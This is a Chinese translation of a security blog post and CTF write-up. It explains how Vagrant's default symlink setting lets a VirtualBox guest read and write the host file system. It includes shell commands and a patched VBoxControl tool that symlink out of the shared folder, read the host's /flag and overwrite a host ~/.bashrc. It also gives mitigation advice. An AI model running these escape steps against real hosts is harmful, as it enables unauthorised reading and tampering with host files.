Vagrant虚拟机可访问宿主机文件系统的安全风险解析

本文详细分析了Vagrant默认配置下存在的安全风险:虚拟机可通过符号链接访问宿主机整个文件系统。文章探讨了VirtualBox共享文件夹机制、HGCM服务调用方式,并提供了CTF挑战案例和防护建议。

这没问题:Vagrant虚拟机可访问整个宿主机文件系统 - phoenhex团队

2018年3月25日

作者:niklasb

去年九月在使用VirtualBox时,我注意到一些异常行为,最初以为这是VirtualBox中一个相当严重的安全漏洞:在使用Vagrant启动的虚拟机内运行非特权程序时,它可以获得对宿主机整个文件系统的读写访问权限。结果发现这实际上不是VirtualBox的bug,而更多是Vagrant的错误配置。

这个问题应该被认为是公开已知的,但仍然存在,尽管Vagrant现在会在每个宿主机上精确显示一次警告。如果你在Vagrant虚拟机内运行不受信任的代码,应该显式设置VAGRANT_DISABLE_VBOXSYMLINKCREATE环境变量,例如通过在.profile/.zprofile中添加:

1
export VAGRANT_DISABLE_VBOXSYMLINKCREATE=1

我在34C3 CTF中以此作为babyvm挑战题,简化版本在3小时内被解决,困难版本也在比赛48小时内被一支队伍解决(向DragonSector的valis致敬!)。因此本文一石二鸟,既是对Vagrant的温和吐槽,也是两个CTF挑战的解题报告。

问题描述

Vagrant默认为其创建的每个同步文件夹设置SharedFoldersEnableSymlinksCreate标志。这包括vagrant共享,除非通过在Vagrantfile中添加config.vm.synced_folder ".", "vagrant", disabled: true显式禁用,否则默认在每个Vagrant虚拟机中启用。

VirtualBox文档对此标志有以下说明:

出于安全原因,默认不允许客户操作系统创建符号链接。如果您信任客户操作系统不会滥用此功能,可以通过以下方式为"sharename"启用符号链接创建:

1
VBoxManage setextradata "VM name" VBoxInternal2/SharedFoldersEnableSymlinksCreate/sharename 1

虽然文档关于启用此标志的含义可以更清晰,但Vagrant显然假设所有虚拟机都是隐式可信的,这至少违背了我的个人直觉:在我的心智模型中,Vagrant只是所用hypervisor的一个非常薄的包装器,不应增加额外的攻击面。简而言之,我期望它能提供与VirtualBox相同的安全保证。

从非特权上下文访问共享文件夹

VirtualBox中的共享文件夹通过HGCM服务(Host-Guest Communication Manager的缩写)实现。HGCM涉及一个相当简单的RPC协议,客户机可以通过该协议向hypervisor进行函数调用。VirtualBox的其他几个也需要客户机协作的功能也通过此机制实现,例如剪贴板共享、拖放和3D加速。

为了发起HGCM调用,例如读取或写入共享文件夹内的文件,或将数据放入剪贴板,必须向通过PCI暴露给每个VM的特殊VMM(虚拟机监控器)设备发出自定义请求。这通常需要内核权限。

但是,如果安装了VirtualBox客户增强功能,可以通过VBoxGuest驱动程序发出请求,该驱动程序以Windows上的VBoxGuest设备和Linux上的/dev/vboxuser设备形式暴露给"世界"——即客户机中的非特权进程。由于Vagrant的同步文件夹使用共享文件夹功能,Vagrant虚拟机通常会预先安装VirtualBox客户增强功能。

快速说明:在我报告CVE-2018-2693(通过Linux上的/dev/vboxuser在客户机中的权限提升+拒绝服务)后,Oracle在VirtualBox客户增强功能的5.2.6版本中完全禁用了该设备。然而,这在5.2.7测试版和5.2.8稳定版中很快被恢复,因为事实证明他们的某些功能依赖于此设备的可用性,这一事实在测试过程中 somehow 被忽略了……

使用符号链接访问宿主机文件系统

SharedFolders HGCM服务的核心由VirtualBox源文件src/VBox/HostServices/SharedFolders/service.cpp中的函数svcCall实现。对我们目的相关的HGCM函数有:

  • SHFL_FN_CREATE:在共享文件夹中打开文件
  • SHFL_FN_{READ,WRITE}:读取/写入通过SHFL_FN_CREATE打开的文件
  • SHFL_FN_SYMLINK:在共享文件夹中创建符号链接(这需要设置SharedFoldersEnableSymlinksCreate标志)

如果共享文件夹通过正常的客户增强功能文件系统驱动程序挂载,并且打开了共享内的符号链接,它将在客户机内解析:

1
2
3
4
5
6
7
8
9
# mount -t vboxsf <sharename> /mnt
# ls -alih /mnt
vagrant@ubu1710:/mnt$ ls -alih /mnt
? drwxr-xr-x  1 root root  44K Mar 25 12:19 .
2 drwxr-xr-x 24 root root 4.0K Nov  5 11:39 ..
3 lrwxrwxrwx  1 root root   11 Mar 25 12:19 test -> /etc/passwd
# sha1sum /mnt/test /etc/passwd
6ba8b11066c8159ea796209eed6b911d5cf1d6bd  /mnt/test
6ba8b11066c8159ea796209eed6b911d5cf1d6bd  /etc/passwd

具体来说,文件系统驱动程序将首先查询文件类型以确定是否为符号链接,然后发出SHFL_FN_READLINK调用来解析链接,然后递归回到内核以打开结果路径。

但是,由于SHFL_FN_CREATE不检查请求的文件路径是否为符号链接(如果尝试检查可能会存在竞争条件),我们同样可以强制在宿主机上打开符号链接。

我的CTF挑战有一个意外的简单方法可以在客户机内获得root权限——事实证明passwd -d root不会"删除"root密码而是清空它;也许我应该更经常阅读man手册。团队"pasten"注意到官方文件系统驱动程序有一个标志,可以使它在宿主机端打开符号链接,因此以下是挑战的简单解决方案:

1
2
3
4
5
6
7
$ su
# umount /vagrant
# rmmod vboxsf
# modprobe vboxsf follow_symlinks=1
# mount -t vboxsf vagrant /vagrant
# ln -s /flag /vagrant/flag
# cat /vagrant/flag

这将打印宿主机上/flag文件的内容。如果我没有为了使挑战更加稳健而显式将共享文件夹标记为只读,写入宿主机上的文件也同样容易。

当他们在CTF开始仅3小时后提出此解决方案,而我本意是让此挑战处于难度较高的一端时,我决定添加第二个版本的挑战称为babyvm2,希望在那里不容易获得root权限。相反,参与者应该滥用客户增强功能来实现相同的效果。

通过/dev/vboxuser进行利用

在那里,我称之为利用。虽然这显然都是预期行为。无论如何,我已经描述了通过/dev/vboxuser设备"使用"此行为所需的一切,剩下的只是一个编程挑战。我们必须找出如何通过设备进行HGCM调用,以及需要什么特定的HGCM调用顺序来实现我们想要的目标。因为我懒,我没有重新实现HGCM协议,而是修补了一个现有的客户端,称为VBoxControl,并添加了额外的"功能"。

该补丁应该可以干净地应用到VirtualBox 5.2.4代码库。我将跳过构建说明,因为它们在VirtualBox文档中有详细描述。

构建VirtualBox通常相当不愉快。Arch Linux用户有一定优势,因为他们可以修改官方的PKGBUILD:

1
2
3
4
$ svn checkout --depth=empty svn://svn.archlinux.org/community
$ cd community
$ svn update virtualbox
$ cd virtualbox/trunk

修改后的VBoxControl有两个额外的命令称为symlinkgetfile,可以如下使用:

1
2
3
$ ./VBoxControl symlink vagrant foo /flag
$ ./VBoxControl getfile vagrant foo ./test
$ cat ./test

这将转储宿主机上/flag文件的内容。putfile命令可用于写入先前创建的符号链接:

1
2
3
$ ./VBoxControl symlink vagrant foo /home/niklas/.bashrc
$ echo 'echo owned' > ./test
$ ./VBoxControl putfile vagrant foo ./test 0644

Vagrant的回应

我向Hashicorp报告了此问题。他们的解决方案如下:如果您在计算机上第一次运行vagrant up,它将显示以下警告:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Vagrant is currently configured to create VirtualBox synced folders with
the `SharedFoldersEnableSymlinksCreate` option enabled. If the Vagrant
guest is not trusted, you may want to disable this option. For more
information on this option, please refer to the VirtualBox manual:

  https://www.virtualbox.org/manual/ch04.html#sharedfolders

This option can be disabled globally with an environment variable:

  VAGRANT_DISABLE_VBOXSYMLINKCREATE=1

or on a per folder basis within the Vagrantfile:

  config.vm.synced_folder '/host/path', '/guest/path', SharedFoldersEnableSymlinksCreate: false

显示此警告后,将创建文件~/.vagrant.d/data/vbox_symlink_create_warning,防止它再次显示。我不确定这实际上会吸引多少潜在易受攻击的安装的正确人员注意,但至少他们给了您做正确事情的机会,即如果您不完全信任在虚拟机内运行的代码,全局设置环境变量。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计